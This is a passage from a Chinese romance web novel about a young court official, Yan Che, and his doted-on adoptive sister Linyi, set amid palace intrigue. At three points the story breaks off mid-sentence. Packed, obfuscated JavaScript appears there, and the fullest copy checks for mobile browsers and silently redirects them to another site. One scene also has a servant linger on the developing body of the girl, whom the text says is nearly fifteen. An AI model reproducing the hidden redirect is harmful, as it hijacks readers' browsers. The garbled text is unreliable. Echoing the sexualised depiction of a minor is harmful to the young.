“芳菲姑姑在我很小的时候就在姜府服侍了,我知道你是为了我好,怎么会怪罪你?” “我是在想,哥哥是不是生气了,方才我见他脸色不太好。” 令颐把脑袋低了低。 “我总这么离不开哥哥,他会不会厌烦了就不理我了。” 晴雪性子更活络些,噗嗤一笑。 “姑娘说哪里话,姑娘和大公子多年的情谊,不是兄妹胜似兄妹,怎会厌烦呢?” “大公子一向面冷心慈,您是知道的,虽面上冷清,可大公子一向不舍得责备姑娘,吃穿用度样样精心打点,您瞧京城里哪家哥哥对妹妹这样体贴的?” 颜彻宠溺令颐几乎宠上了天。 莫说责备,他对这个妹妹连语气重都很少。 小时候令颐手笨,拿什么东西都掉,八扇珠子灯,翡翠篆香盒,无论物件贵重还是便宜,只要放在她手里,没过一会就摔个粉碎,光手炉这么些年就换了十几个。 可颜彻每次只是笑笑,温和表示下次希望她小心些,再吩咐赵管家给她买新的。 他说器物倒是次要,他担心的是那些碎片会割伤她的手。 芳菲也在一旁道:“姑娘也甭多想,有什么事去了就知道了,奴婢给您熬雪梨汤等您回来。” 令颐巴巴地点头。 哪怕这次哥哥责备她也认了。 …… 回屋后,令颐连锦盒都顾不上拆,更了衣便匆匆去了颜彻的院子。 颜彻住处坐落于池畔旁,竹道最深处。 远远望去,厅殿楼阁峥嵘轩峻,两边是穿山游廊厢房。 曲折回廊间,俨然有大家风范。 “二姑娘。” 赵福忠在厢房外行礼,眼角都染着笑意。 这府里谁不知道,只要二姑娘一来,大公子冷清的院子就会热闹起来。 令颐踮起脚尖往屋里张望:“哥哥现在在做什么?” 赵福忠回话:“大公子正在更衣,说若是二姑娘来了就让您先在外间等他。” “好。” 屋内,雪松香浮沉静室。 此处陈设雅致,帘栊潇洒,四面挂着几幅名士题咏画作,并两联朱砂小对,多是友人所赠。 每一处细节都透着居室主人的品味和修养。 前提是,忽略壁上挂着的兔子灯,架上精致的点心盒,盆景里金灿灿的小灯笼球,随处可见的毛茸茸粉嫩色毡毯…… 这都是令颐的杰作。 小姑娘总觉得哥哥这里太清冷,三天两头就要来添些温度。 颜彻会微笑着说她胡闹,却从未撤下过任何一件。 令颐坐上炕席,背靠青缎引枕,乖巧等他。 见桌上搁着一盘金黄酥脆的马蹄酥,她拿手拈了一块。 正吃得津津有味,颜彻从内室走出。 此时他已换上常服,比起白日的优雅持重,更多了几分随性慵懒。 颜彻衣裳的款式都很简单,颜色也以青、蓝、白为主。 清雅高华,纤尘不染,让人不敢亵渎。 即便已经做了数年兄妹,令颐还是忍不住在心里感叹。 哥哥真是个美人啊。 最近这几年,京城有不少高门贵胄有意笼络颜府,想将自家千金许配给颜彻,甚至不乏一些世家大族。 有几个世家女还借着亲近她的名义接近颜彻,带她出去玩,还给她送了不少好吃的。 令颐觉得那些贵女姐姐个个温婉贤淑,才貌双绝,和哥哥站在一起想来也会极为登对。 可惜神女有情襄王无梦,颜彻对成家立业之事似乎并无兴趣,每次提及总是淡然以对。 没办法,令颐只好含泪收下那些贿赂。 如此赏心悦目的一幕,全天下只有她一人瞧见。 真是遗憾呐……唉! “妹妹想什么呢?” 令颐双手托腮,端的是小女儿家的娇憨。 “我在想,哥哥来迟了,是没想到我这么快便来了么?” 见她先发制人,颜彻低眉一笑。 修长手指点了点桌上的信笺。 “今早从景州寄来的家书,我知道你等了很久。” 令颐双瞳闪动。 虽说隔着千山万水,可她对家人的思念从未减过一丝一毫。 父亲他们亦是挂念她,每月定期给她寄信来,问她是否安好,数年风雨无阻。 她走上前小心翼翼拆信,目光从一行行密密麻麻的字上扫过。 小姑娘脸上闪出惊喜。 “伯聿阿兄说嫂嫂母子平安,哥哥,我当小姑了!” 颜彻微微一笑:“果然是好事。” 令颐道:“上次我还担心嫂母的身子,往景州送了不少补品。如今嫂嫂和小侄平安无恙,我是不是应该给些什么礼物?” “哥哥快帮我想想送什么好!” 颜彻给她递了张礼单。 “已经帮你列好了,你若有其他想法,尽管告诉赵管家,他会妥善安排。” “多谢哥哥!”令颐感激地说。 颜彻微微颔首。 须臾,他垂下双眸,神色敛了几分。 “令颐,今晚叫你过来,除了家信,还有件事还需要同你说明。” “姜家的案子涉及先帝,以我现在的身份地位想给老师翻案,不足以做到万无一失、” “你能谅解哥哥么?” 听他提及姜家旧案,令颐急得眼眶泛红。 “哥哥这话便是与妹妹生分了,这些年哥哥为了我们姜家多方奔走费心费力,令颐都看在眼里,怎会怪罪哥哥?” “我虽想念爹娘,想念阿兄阿嫂,但也明白哥哥苦衷。我不光是姜家之女,也是颜家的女儿,人前人后都不会给哥哥添麻烦。” 她这么说着,泪水盈了眼眶,小脸因为着急变得粉扑扑的。 颜彻寒潭般的目光染上几分暖意。 他赞许道:“你一向做的很好。” “老师如今在知府衙门任闲职,一家人衣食无忧,我已托景州知府多加照料。” “回京后我诸事繁多,很多时候顾不上你。可我也不希望妹妹对我产生距离,与我生分。” 令颐抬起盈盈泪目,不解看向他。 他语气不紧不慢:“我是想说,妹妹在我面前,什么时候都可以放纵自己的性子,可以撒娇,可以哭闹,可以耍小性子,可以肆无忌惮提各种要求。” “我们最艰难的时候都过去了,妹妹是觉得回到京城,我反而连个小姑娘都顾不过来吗?” 他温柔含笑,薄唇挑起浅浅弧度。 “养这么大,倒学会跟哥哥耍心眼了。” 令颐怔怔看着他。 她这才意识到,自己那些心思早就被哥哥看穿了。 在彬江时他们朝夕相处,令颐不是一般的黏他,一会儿见不到就哭着要找哥哥。 如今和他分别这么久,心里怎么可能不思念? 令颐鼻子一酸,扑上前抱住了他,纤细的胳膊环住他的脖颈。 颜彻稳稳接住她。 “妹妹……” 他似笑似叹。 “让我猜猜,是对着我写的字发呆,还是穿着我的衣服学我说话做事?” “方才晴雪说,见不到哥哥就要哭鼻子,嗯?” 令颐耳尖发烫:“哥哥取笑我!” 她撒娇地把头埋在他肩上,手指抓住他齐整的衣物。 “哥哥,我想你了。” 她瓮声瓮气的:“江南那么远,我每天都很想你。” 语气娇怯,声音闷在他衣襟里,带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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也不怪小姑娘喜欢待在他怀里不肯下来。 有时她光抱着还不满意,还要往颜彻脸颊上亲,说哥哥身上的温度低,带着清凉的梅香,夏天亲起来像吃了一口冰镇酥酪。 后来小姑娘渐渐大了,开始施粉涂口脂。 赵福忠记得,有次令颐在颜彻脸上留了唇印,两人谁也没注意。 结果,颜彻就这么去见了友人。 那些平日里见惯了他冷若冰霜模样的文人,乍见这情形惊掉了下巴。 谁不知道颜状元是出了名的清冷自持,多少名门闺秀使尽法子都换不来他一个眼神。 不出半日,半个京城都在猜究竟是何方神圣让这位大圣人动了凡心。 为此事令颐反省了好久,好长时间都不愿涂口脂了。 赵福忠余光往后瞥了一眼。 二姑娘年岁渐大,身段也变得玲珑有致起来。 平常看倒也没什么,这么被男子抱着,看上去便有些暧昧了。 尤其那轻薄衣裙下饱勾勒的起伏,将熟未熟的蜜桃似的,就这么依偎在大公子胸膛的衣襟处,还在他脖颈处蹭。 怎么瞧怎么不妥。 可他选择不说。 只要他不说,颜府其他人也不会说。 主子们自有主子们的相处之道,二姑娘天真单纯,平日里也只管开开心心的。 说不定他们这些下人一多嘴,惹得二姑娘烦忧,那时可就不是被大公子赶出府那么简单了。 要知道,这位颜大公子可是极为疼爱这个妹妹,且远不是表面看上去那般温和有礼。 原先也有几个心存异心的,或者对主子不忠的,后来都无缘无故消失了。 他不愿回忆那些人去了何处,身为下人,他只消把分内事做好就成。 更何况,颜彻一向很有分寸感,对自己的妹妹的关心也拿捏的恰到好处。 至少不会有机会让二姑娘对他起心思。 8. 第 8 章 兄妹两人回到明兰院。 芳菲和晴雪正在里间铺床,见颜彻抱着人进来,连忙福身行礼。 “大公子。” 颜彻把怀中人轻轻放下。 这么抱着走了一路,他连一丝喘息都没有。 “给二姑娘准备沐浴吧,备水时兑些玫瑰花露。” “是。”二人齐声。 颜彻起身,腰间被轻扯住。 玉佩绦子和令颐的罗袜勾在了一起。 令颐嘟囔:“哥哥这个玉佩怎么老跟我作对啊?” 颜彻笑笑,伸手解开。 “不喜欢以后就不戴了。” 修长白皙的手从她玉足上擦过。 此时,门外一位新来的丫鬟正好看到这一幕,瞪圆了眼睛。 她倒吸一口凉气,拉着旁边人惊恐道:“大公子是准备今夜留宿在这儿吗?” 那婆子瞪了她一眼。 “没规矩,赵管家怎么教你的?” “大公子自小就这么惯着二姑娘,批公文的时候还让姑娘窝在怀里睡呢,轮的着你多嘴?” 年轻丫鬟讪讪低下头,不敢多言了。 芳菲和晴雪带令颐去侧间沐浴。 一个时辰后,令颐绞干头发钻进了锦被。 芳菲和晴雪将床帘放下便退了出去。 隔着一层云纱,令颐看到颜彻施施然坐在了她的床边。 “妹妹今晚想听什么?” 令颐道:“哥哥能不能给我讲一个聊斋的故事啊?” “还听《聊斋》吗,上次讲过之后你可是好半晌才睡着,如今不怕了?” “那……哥哥给我编一个吧,我想听独一无二的故事。” 令颐糯声撒娇:“好不好嘛?” 颜彻沉吟片刻,道了句:“好。” 他缓缓开口:“在广寒宫里,住着一只可爱的玉兔。有一天,她想要看看人间的烟火,于是偷偷下了凡。” “谁知,她在山中受了伤,遇到一个赶路的书生。那个书生急匆匆向她赶过来,玉兔还以为书生要伤害她,吓得转身想逃。” 令颐忍不住笑了一下:“后来呢?” “后来啊,书生每天种胡萝卜喂养小玉兔,和玉兔分享人间的故事,时不时逗一逗她哄她开心,而玉兔也给书生的生活带来了温暖……” 令颐闭上眼,听到小兔子受伤的情节,颜彻却止住了话头。 “剩下的故事,明天再讲罢。” “现在有另一只小兔子该睡觉了。” 令颐不情愿哦了一声。 “哥哥,我可以留一盏灯吗?” “可以。” 颜彻起身,将其他灯盏熄灭。 离开房间后,他掩上了房门,坐到了外间的书桌前。 赵福忠早已候在廊下,见主子出来,他吩咐人将公文卷宗拿过来,整齐放在书案上。 不多时,颜彻手持毫笔,刷刷在纸上批卷宗。 赵福忠一边默默伺候磨墨,一边注意着里间的的动静。 不知怎的,他心下隐隐生出些忧虑。 二姑娘的倚梦症这么些年了也不见好,大公子虽面上不显,可只要他在府上,总要亲自守着才安心。 赵福忠不禁又想,大公子这般宠着二姑娘,将来少奶奶进门,怕是要生出不少是非来。 正琢磨着,里间传来少女含糊的梦呓声。 “哥哥……胡萝卜……” 案前,年轻郎君笔尖微顿,俊美的脸上漾出一抹淡笑。 赵福忠见状,抿了抿嘴,将头缓缓低了下去。 罢了,主子一向克制有分寸,哪轮得到他操心。 两人之间的界限,就像二姑娘床前那道帷幔。 颜彻哪怕再宠这个妹妹,也不会越过那道屏障。 …… 翌日,令颐醒来的时候,颜彻已经不在了。 她小手揉了揉眼,软糯糯道:“哥哥呢?” 芳菲道:“大公子寅时就入宫了,临走前特意吩咐,不许吵醒姑娘。” 令颐小声嘟囔:“哥哥没有等我啊……” 她还想着能和哥哥一起用膳呢。 从前在彬江的时候,哥哥总会等她一起用早膳,有时她赖床,他还会亲自来抱她起身。 令颐人娇气还嘴刁,颜彻就变着花样给他做好吃的,他的厨艺正是那个时候练出来的。 现在,别说想吃也吃不到,就是两人一起用膳都困难。 啊,好想念哥哥做的饭啊…… 芳菲见她小脸垮了下来,连忙柔声安哄。 “大公子虽急着走,可早膳却是一样不落地吩咐厨房备好了,蟹黄小笼包,虾饺,杏仁茶,全是姑娘爱吃的,这会儿还在灶上温着呢。” 令颐“唔”了一声。 想起哥哥昨夜那番话,她心里那一时涌上的委屈便消散了。 她其实是个很好满足的小姑娘,被人哄两句就不难过了。 * 一连数日,颜彻每日都在忙着处理公事,令颐只有在晚上入睡前才能见到哥哥。 颜彻会耐心把她哄睡,再安排第二日的膳食,之后才去处理公事。 初二这日,令颐像往常一样来同文馆,却见馆内已是人满为患,还有不少身穿布衣的百姓。 “祝师姐,今日怎么这么多人呀?” 祝颂然讶异:“今日颜先生开坛授课,整个洛安城都知道,先生竟没告诉你吗?” 令颐瞪大了眼睛。 芳菲在一旁憋笑。 “姑娘,昨夜大公子就同您说了,您当时正专心啃那只炖猪脚,连头都没抬,所以没听见呢。” 令颐如遭雷击。 好像、好像确实有这么一回事…… “哎呀!” 她急得原地转圈:“这么重要的事我怎么能没听到呢!” 祝颂然和芳菲捂嘴笑了起来。 三人穿过熙攘的人群往讲堂去时,令颐忽然瞥见个熟悉的身影。 她高高举起小手挥舞:“羡文师兄!” 年轻郎君正指挥杂役摆放蒲团,闻声回首。 此人面容俊逸,身姿挺拔,虽通身清贵气,却全然没有世家子弟的轻浮感。 笑起来时,剑眉下那双笑眼明亮如星。 学堂里,除了祝师姐,令颐最喜欢的便是宋嘉策,她的羡文师兄。 羡文师兄经常带他们这些小辈出去玩,跟他待在一起永远不会觉得无聊。 宋嘉策挑眉道:“小令颐,怎么你哥哥来讲学,我在这里忙前忙后的,你倒悠闲?还不快来帮我一块干活?” 令颐粉唇微张:“啊?师兄还需要我干什么,我、我现在就干!” 说着她就要去搬旁边的矮几。 旁边一个学子笑道:“令姑娘别听你师兄胡说,他逗你呢,活儿都快干完了。” 宋嘉策故作委屈地叹气:“唉,现在连小令颐都不心疼师兄了。” 说着伸手揉了揉令颐的发顶,把她精心梳好的发髻都揉乱了几分。 令颐连忙护住头发:“师兄又拿我取笑!” 两人打闹了一阵,令颐忽然想起什么,问道:“师兄,哥哥今日要讲什么?” 宋嘉策摸了摸下巴作沉思状。 “这个嘛……大概,讲某个贪吃小姑娘偷吃蜜饯的故事?” “师兄!”令颐粉腮鼓起,作势要打他。 两人正胡闹着,却见祝颂然不知何时松开了令颐的手,微笑看着他们。 令颐眨了眨眼。 她总觉得,祝师姐和羡文师兄之间有种说不清的古怪。 在令颐眼里,羡文师兄待人接物温润如玉,谈吐又风趣,像是把浔之哥哥和伯聿阿兄糅合在了一起,所以她非常非常喜欢同羡文师兄相处。 可祝师姐和她恰恰相反。 平日里雷厉风行、快人快语的师姐,每每遇到羡文师兄,就会变得异常沉默。 有次令颐分明看见,羡文师兄不过递了杯茶,祝师姐便不自在低下了头,脸上泛起微红。 令颐想不明白。 莫非,因为羡文师兄是祝师姐最早带的学生? 毕竟,祝师姐教导晚辈一向以严厉著称,连一个错字都要罚抄百遍的。 这么想来,两人见面时拘谨些倒也正常。 令颐目前只能想到这种解释了。 一阵清越钟声传来,人群如潮水般向讲堂涌去。 宋嘉策道:“要开始了,我们快入席吧。” 说罢,他看了祝颂然一眼,祝颂然却径直拉着令颐走了,没有看他。 …… 半个时辰后,书堂内座无虚席。 颜彻今日未着官服,只一袭月白镶青长袍加身,衬得他愈发温润清雅。 墨发垂至腰际,只在发尾系了根素色丝绦。 台前围满了慕名前来的人,熙熙攘攘的人群前,他手持书卷端坐在那里,说不出的沉稳静逸。 授课时,声如冷泉漱石,温柔得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哥哥已经好几日没和令颐用晚膳了,昨日的鲈鱼羹膳房热了三遍哥哥都没回来。” 颜彻闻言轻笑,从一旁拿出个油纸包递给她。 “这个,不知道能不能收买一个小姑娘。” 令颐眼睛一亮。 是丰乐楼新出的雪乳酪和糯米红豆饼!她跑了好几日都没买到! 她高兴到要蹦起来,接过纸包时却故意板着小脸:“那,哥哥也要记得用晚膳,不然对胃不好!” 说罢,她从袖中掏出个歪歪扭扭的花圈,不由分说套在颜彻手腕上。 柳条编织的环上缠着几朵鲜艳的野菊,歪歪扭扭地编在一起。 这是她今日午后,蹲在同文馆后山折腾了半个时辰的杰作。 “这个送给哥哥,这样哥哥看到就记得吃饭了。” 令颐说罢就抱着零嘴一溜烟跑了。 颜彻望着她远去的背影,摇头失笑。 不多时,邵、鲁二人踏入屋内。 近来颜彻一派与阉党相安无事,但两边谁也没松下那根弦。 颜彻道:“郑康安此番吃了暗亏,必不会善罢甘休。你们且将家中老小安置妥当,若他狗急跳墙,还需提前有准备。” 邵玉与鲁贽对视一眼,齐齐行礼。 “属下已做好准备,誓死追随大人。” 颜彻微微颔首,目光不经意落在案角那个歪歪扭扭的花环上。 邵玉顺着他的视线望去,欲言又止。 不用猜也知道那是谁放在那里的。 待两人走出屋子时,邵玉压低声音:“颜大人这般人物,偏被个罪臣之女拖累。朝中那些言官,不知在背后嚼了多少舌根。” 鲁贽闻言也是愤愤不平。 “可不是,此事可大可小,若让阉党揪住这个把柄不放,不知道要掀起多大的风浪!” 邵玉轻叹:“颜大人寒门出身已是不易,偏又不肯与世族联姻。” “崔家,任家,都是能在朝中六部说的上话的大家族,都有意与大人结亲,可大人总是推脱。” 他顿了顿,貌似无意说了句:“若那丫头懂事些,肯嫁入世家大族,也算是知恩图报。” 鲁贽点头表示赞同。 9. 第 9 章 荼靡花尽,小荷初绽。 洛安城已是入夏,温热的风轻撩竹帘,丝丝缕缕钻入屋内,带着庭院里的栀子花香。 令颐趴在冰鉴上,脸颊贴着沁凉的玉面,舒服地眯起了眼睛。 “再不起来,冰鉴都要被你捂化了。” 珠帘轻响,祝颂然走进屋内,手里端着一个冰瓷碗。 “师姐,我热嘛……” 令颐头也不抬,像只晒蔫的小猫。 嗯?这香气…… 一缕酸甜气钻入鼻尖,她嗖地抬头,眼睛一亮。 “是酸梅汤!” 祝颂然看着她脸上压出的红印,笑着将碗递给她。 “刚冰镇好的,慢些喝,仔细别凉着胃。” “师姐最好啦!” 令颐捧着碗迫不及待灌了一大口,满足眯起了眼。 两人坐在竹席上,祝颂然摇着团扇给两人扇风。 “听御史府的李公子说,皇上要为几位皇子和公主选拔侍读,京城三品以上官员家中适龄男女皆需参选。” 令颐捻了颗葡萄塞进嘴里,汁水染得唇瓣晶亮。 “当侍读好玩吗?能吃到御膳房的小点心吗?” 她舔了舔唇上的葡萄水渍:“令颐小时候跟阿娘进宫吃过宴席,宫里的菜又好看又好吃,那个牡丹酥层层叠叠像真的一样,咬一口就簌簌掉渣。” 团扇不轻不重敲在她额上。 “皇宫里自然吃喝不凡,但进去就出不来啦。” 令颐张圆了嘴:“啊?” 祝颂然解释:“傻丫头,你当皇宫是咱们学馆呢?少则半年,多则三五年都不能随意出宫呢。” 令颐捂住自己的发髻,小脑袋摇得像拨浪鼓。 “那我一定不要去!我要陪哥哥和师姐师兄们!” 她晚上还要哥哥哄睡呢。 要是进了宫出不来,谁给她讲故事?谁给她买好吃的? 祝颂然安慰她:“放心,虽说你年龄和九公主正合适,但你的生辰快到了,颜先生是不会让你入宫的。” 她顿了顿,语气柔软下来:“我们令颐马上要十五岁了。” 话虽如此,祝颂然看着令颐天真烂漫的小脸,心里却有些不是滋味。 近来她在京城贵女圈中听到不少闲言碎语,说令颐是罪臣之后,而颜先生则是……包藏祸心。 都怪那个淮容侯府。 祝颂然攥紧了手中的团扇。 当初他们执意要与令颐退婚,如今眼见颜彻在朝中如日中天,怕被他算旧账,便在背后散布这些流言。 她前日还听说,淮容侯老夫人在赏花宴上当众诋毁,把当初退婚的责任都推脱给颜家兄妹。 呸!真是岂有此理! 若她当日在场,定要将那什么老夫人骂个狗血淋头。 “师姐,你怎么了?”令颐疑惑地唤了一声。 祝颂然连忙回神,换上笑脸:“没什么,我在想……你生辰那日送你什么礼物才好。” 令颐是个没心眼的,祝颂然这么一说,便掰着指头开始想自己喜欢的礼物。 祝颂然噗嗤一笑。 罢了,这傻丫头一直这般也挺好的。 * 挹青堂内,颜彻正和邵玉鲁贽两人议事。 邵玉禀道:“大人,礼部侍郎今晨在朝会上进言,说糊名誊录制有失朝廷取士之道,奏请恢复通榜旧制。” 鲁贽手中茶盏重重一顿。 “若是恢复通榜,岂不是又要回到世家子弟独占甲榜的年月?” “去岁寒门举子中第者三成有余,他们果然坐不住了!” 邵玉目光微动,轻声朝颜彻道:“礼部侍郎敢和首辅大人对着干,是因为背后站着范阳卢氏。其实,若大人能得几家世族支持,在朝中行事确实会便利许多。” “听说,荥阳任氏对大人颇为赏识……” 颜彻神色未变,垂眸凝视盏中浮沉的茶叶。 此次科举改制是他精心筹划,又得杨首辅首肯的重要新政。 若能顺利推行,不仅寒门学子可得晋身之阶,他入内阁之路亦将再无阻碍。 堂内一时静默。 良久,颜彻缓缓开口:“你们回去,此事我自有计较。” 两人张了张嘴,似乎还想说什么。 可抬眼对上颜彻淡漠疏离的神情,他们终是拱手一礼,转身离去。 两人出门没多久,迎面撞见一个熟悉的人影。 长廊那头,一团紫色的人蹦蹦跶跶跑过来。 令颐今日穿的是祝师姐给她挑的衣裙。 烟紫色蓬蓬纱襦裙,粉黄披帛交织臂间,发间两支珍珠发钗随步伐轻盈颤动。 小姑娘娇娇小小的一个,发髻是圆的,裙摆也被风吹得蓬松柔软。 远远看上去活像块会跑的紫米糕。 令颐也看见了二人,猛地刹住了脚。 她硬生生止住蹦跶的想法,提着裙子规规矩矩走了过去。 “给两位大人请安。” 她朝两人盈盈一礼,语气乖巧,带着少女的清甜。 “哥哥可是在书斋?令颐有急事要找他呢。” 在令颐眼中,这二位大人是哥哥的心腹,她心里自然会生出亲近感,说话也没有任何防备。 可她觉得亲切,另外两人却不觉得。 邵玉和鲁贽交换了一个眼神。 这位颜二姑娘明明都过了及笄的年纪,还像个不谙世事的孩童。 整日哥哥长哥哥短的,全然不知颜彻在朝堂上如履薄冰的处境。 鲁贽性子直,眉头微皱,语气不悦道:“大人近日公务繁忙,二姑娘若是体恤大人,便该懂些分寸,不该总拿些小事来烦大人。” 令颐微微愣住。 邵玉轻咳一声:“鲁兄。” 鲁贽没有理会:“恕我多言,二姑娘已年过及笄,也该为大人分担些烦恼了。” “若不是二小姐,颜大人何至于——” 邵玉拉住他胳膊。 “二姑娘莫要误会,鲁大人此话是好意,希望二姑娘能多体谅颜大人的良苦用心。” 他对鲁贽道:“好了,衙门还有些公事要处理,我们先走罢。” 说罢,他拉着鲁贽快步离去。 令颐绞了绞手里的披帛,小脸写满疑惑。 烦恼?哥哥有什么烦心事吗? 自己这么笨,怎么给哥哥分忧啊…… 她心里正嘀咕,突然一拍手:“啊对了,我还有重要的事找哥哥呢!” 说罢,她将心里的困惑暂时抛到了九霄云外,蹦蹦跳跳往书斋方向跑去。 书斋内,颜彻撑着头,在圈椅上静坐良久。 门外一声清脆的叫喊:“哥哥哥哥,大事不好了!” 颜彻睁开眼。 他微微直起身,问她:“怎么了?” 令颐从袖中抽出一张请帖。 “丰乐楼出了个诗歌比赛,拿下魁首的人能免费吃一年的新品糕点!我竟然才知道这个消息!” 小姑娘脸上满是兴奋之色,叽叽喳喳说着这场比赛。 “怎么办呀哥哥,听说葛太傅的千金也会参加。那位葛小姐我见过的,诗词歌赋样样精通,我肯定比不过她!” 她急得直跺小脚。 颜彻温声道:“无妨,你的诗书一向不错,连翰林院的学士都对你赞不绝口,哥哥对你有信心。” “你权当去那里玩,到时候让你祝师姐或羡文师兄陪你。” 小姑娘的眼睛一下子恢复了光彩。 “哥哥真好,什么都鼓励我。” “若我拿下魁首,糕点一定分哥哥一半!不,一大半!” 颜彻宠溺一笑。 不知不觉间,他紧锁的眉头已然舒展。 每次只要看着妹妹活蹦乱跳的模样,他便觉得,那些朝堂纷争也没那么令人疲惫了。 令颐今日尤其兴奋,说得眉飞色舞。 粉嫩的小脸微微泛着红晕,灿若春阳。 颜彻看着她灵动的娇靥,鬼使神差抬起了手。 他想抱她。 他想将这个可爱的小人儿拥入怀中,感受她的温度,驱散身上的寒气。 抱进怀里,揉揉她的头,像摸一只小猫,再听她娇嗔着说嫌弃哥哥手凉。 这个念头来得如此强烈,以至于他的手臂已经微微抬起。 却在半空戛然而止。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762951|174463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>罢了。 颜彻轻勾唇角,将这个念头按下。 从彬江回来后,他从未主动亲近过她。 如今朝堂局势诡谲,他一门心思对付阉党,不想做太多儿女情长的举动,也不愿让自己有半分软肋暴露于人前。 等这一切结束吧。 他想着,等这一切结束,再好好补偿这个小丫头。 西市那些新奇的番邦玩意,她上次盯着看了好久。 她还说想去江南,买她心心念念的菱花镜和青瓷器。 还要去汴西,那里满城都是酒楼和糕点铺子,小姑娘扬言说想买一车甜点回来,这些他都记得。 记忆中,令颐常常欢呼着扑过来,说最喜欢和哥哥一起出去玩。 这么多年下来,颜彻早已将照顾这个小丫头变成了一种本能,每次出去玩,他都能给她打点好一切。 他知道怎么逗她开心,知道怎么护她周全,了解她所有的小习惯和喜好。 除了他,没人照顾得好这个娇气丫头。 “哥哥?” 令颐眨了眨睫毛:“你在想什么呀?” “没什么。” 颜彻生性沉稳,未成之事从不宣之于口,以至于旁人都道他疏离淡漠,高深莫测。 可他的沉默,在令颐眼里又是另一种意味。 令颐认真看着哥哥。 他的神情间有一抹不易察觉的疲惫,脸色看着比上一回见时苍白了些。 果然心里有什么烦恼却不愿和她说。 小姑娘心里泛起一阵酸楚。 两人回京后,哥哥变得沉默了很多。 明明已经那么疲惫,却还要费心费力照顾她,哄她,生怕她不开心。 就像方才鲁大人说的,自己不该总拿一些琐事来麻烦哥哥。 晶莹的泪珠在眼眶里打着转,她强忍着鼻酸,扬起明媚笑脸。 “那哥哥我先走啦。” “去吧。” 令颐小跑着离开,朝着祝师姐的厢房奔去。 “师姐!师姐——” 祝颂然正在整理书册,见令颐过来,对她笑道:“令颐,你不是去给颜先生清安了吗,怎么这么快就回来了?可是没见到先生?” 今日是颜彻休沐的日子,往常令颐都要黏他好久。 令颐微微喘着气:“师姐,我、我有个问题想问你。” “为什么大家都说我是哥哥的累赘,是不是哥哥在外面受欺负了?” 祝颂然笑容一滞:“这是谁说的?” “鲁大人他们。” 祝颂然欲言又止。 令颐再迟钝,也能从她的神情上感觉到不对劲。 她瞬间眼眶泛红,着急道:“这是真的?真的有人欺负哥哥!” 祝颂然搁下书册,温柔对她道:“令颐,别急,你先坐下。” 她将小姑娘的手拢在掌心。 “你听师姐说,你哥哥如今极为受圣上重视,所谓树大招风,自然会有人心生不满,对你哥哥说些不好听的话,这都是常有的事。” “你只要始终记得,你是颜先生的妹妹,是他在这世上最亲的人,这便足够了。” 令颐咬了咬唇,耷拉下脑袋。 “师姐,我是不是真的很拖累哥哥啊……” 祝颂然摇头,更紧地握住了她。 “不是的令颐,若没有当初你和颜先生对我的保护,我决然走不到今日。” “在我心里,你永远是我最珍视的师妹。” 令颐歪头思索了一下。 “可是师姐,羡文师兄对你也很好啊。” 祝颂然一顿。 她垂下眼睫:“那不一样。” “有什么不一样呢?” “我很难跟你解释。” 她叹了口气。 “令颐,你心思单纯,一直以来也没有人教你男女之间的事,所以你不会理解我此刻的心情。” “等来日,若你遇到了一个教会你什么是感情的人,自然就会明白师姐今日的话。” 令颐似懂非懂,托起自己的小脸。 教我感情的人? 她在心中暗自思忖,自己真的会遇到这样一个人吗? 10. 第 10 章 皇宫,御书房。 颜彻立于龙案前,等待面前九五至尊开口。 一君一臣皆沉默着,唯有龙涎香袅袅升起。 方才,颜彻和几位大人一道,禀报科举改制进展。 他条分缕析,将新制利弊剖析得明明白白。 几位老臣虽面露难色,却也找不出反驳的由头。 正禀报间,一直在旁边沉默的礼部侍郎发难,说颜彻包藏祸心,包庇罪臣之女。 言辞激烈,几乎要将颜彻说为欺君罔上的乱臣贼子。 此人是郑康安的心腹,此刻发难,显然是得了授意。 待众臣都离开后,皇帝单独吩咐颜彻留下。 不知过了多久,龙椅上的建兴帝终于开口。 “颜卿,此事朕可以睁一只眼闭一只眼,可你也不要让朕太难做。” 帝王的声音在一片寂静中很低沉地响起。 不疾不徐,透着不容置疑的威严。 颜彻行礼:“是,臣会妥善处置此事,不让陛下为难。” 只要郑康安一日不倒,姜家就难以翻案。 他的妹妹令颐,便一直是罪臣之女。 颜彻回到颜府,刚踏入书房,赵福忠便匆匆来禀。 “何事?” 赵福忠躬身道:“回大公子,宫中传来消息,说要给九公主和十二皇子选伴读。” 说着,他递上一卷明黄绢帛。 颜彻目光从那几行字上扫过。 神情一如既往冷清,几乎没有什么变化。 赵福忠觑着主子的脸色,试探性说:“以大公子现在的身份,想拒绝还是不成问题的。老奴听说,国公爷便以自家千金体弱多病为由拒绝了。” “不用。” 颜彻不紧不慢,将圣旨轻轻合上。 赵福忠不解:“大公子?” “我说,不用拒绝。” …… 当晚,颜彻踏入令颐的明兰院。 小姑娘正趴在窗棂边数星星,一袭淡蓝色轻纱寝衣松松垮垮地罩在身上。 瓷白小脸映着柔和的月光,半干青丝绸缎般垂落腰间。 显然已经洗漱完,不知等了他多久。 听见脚步声,少女蓦地转头,杏眸亮起。 “哥哥!” 她唇角绽开梨涡,上前缠住哥哥的手臂轻晃。 “哥哥来的好晚,你再不来,星星都要被我数完啦!” 颜彻目光拂过她微湿的发梢,温和道:“怎么又不擦干头发?” 